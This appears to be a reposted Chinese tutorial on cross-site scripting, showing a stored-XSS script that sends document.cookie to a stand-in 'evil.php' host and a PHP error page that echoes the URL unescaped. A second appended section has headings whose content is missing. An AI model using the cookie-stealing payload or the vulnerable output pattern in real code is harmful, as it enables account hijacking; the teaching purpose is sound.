者:陳吉
轉發鏈接:https://mp.weixin.qq.com/s/HweEFh78WXLawyQr_Vsl5g
ss攻擊的全稱是Cross-Site Scripting (XSS)攻擊,是一種注入式攻擊。基本的做法是把惡意代碼注入到目標網站。由于瀏覽器在打開目標網站的時候并不知道哪些腳本是惡意的,所以瀏覽器會無差別執行惡意腳本,從而導致用戶信息和一些敏感信息被盜取和泄漏。
xss一般分為兩種類型,持久化的xss和非持久化的xss。
持久化xss
下面這個例子演示了攻擊者如何通過注入惡意代碼去盜取用戶的cookie的。
假設攻擊者在某個論壇發了個帖子,在帖子里包含了如下的惡意代碼
<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>
那么其他用戶在瀏覽這個帖子的時候,上面的代碼就會被瀏覽器執行,從而將用戶的cookie信息發送到了/evil.php?
,這個攻擊者搭建的惡意站點。由于cookie里包含了用戶的一些登錄態和敏感信息,所以訪問這個帖子的用戶會面臨被盜號的風險。
還原一下這次攻擊的過程
攻擊者在論壇發了包含惡意代碼的帖子
一般來說這個帖子的內容會保存在數據庫里(持久化)
攻擊者誘導其他用戶去訪問這個帖子
其他用戶訪問該帖子時網站后臺會從數據庫里讀取帖子的內容并發送給瀏覽器
瀏覽器渲染帖子的內容時執行了惡意腳本
惡意腳本將用戶的cookie偷偷發送給惡意網站evil.php
非持久化的xss
上面的例子攻擊代碼持久化在了數據庫里,非持久化的攻擊則不需要這樣,看下面的例子。
假設我們有這樣的一個錯誤頁面,用php實現的
<html> <body><? phpprint "Not found: " . urldecode($_SERVER["REQUEST_URI"]);?></body> </html>
當用戶訪問的頁面不存在時候,上面的頁面會自動加載,并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
這一行會打印出不存在頁面的具體url。
舉個例子,當用戶訪問www.example.com/page_missing頁面時,由于page_missing頁面不存在,所以example.com會自動跳轉到page_missing路徑,并在頁面上打印出Not found: page_missing
字符串。
如果攻擊者構造了這樣一個鏈接,誘導用戶訪問http://wwww.example.com/<script>alert("TEST");</script>
,那么普通用戶訪問該鏈接時,因為/<script>alert("TEST");</script>
會被打印在頁面上并當作普通腳本執行,這樣一來,如果攻擊者構造的腳本里包含獲取用戶敏感信息的代碼,那么用戶的信息將被泄漏。
還原一下這次攻擊的過程
攻擊者構造http://wwww.example.com/<script>alert("TEST");</script>
鏈接,引誘普通用戶訪問
普通用戶訪問后,跳轉到錯誤頁面
錯誤頁面會執行惡意腳本,造成用戶信息泄漏
總結
xss攻擊是目前最常見的web攻擊形式,大家可以通過上面的例子管中窺豹一下,其核心的攻擊方式是惡意代碼注入,瀏覽器將注入的代碼當成普通腳本正常執行。
作者:西邊人
西說測試專欄作者
站腳本攻擊(Cross-Site Scripting,XSS)是一種常見的網絡安全漏洞,攻擊者通過在受信任的網頁中注入惡意腳本,從而在用戶的瀏覽器中執行該惡意腳本。
XSS 攻擊的一般過程如下:
XSS 攻擊可以分為以下幾種類型:
為了防止 XSS 攻擊,可以采取以下幾種措施:
通過綜合采取這些安全措施,可以有效地減少 XSS 攻擊的風險,保護用戶的數據安全和隱私。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。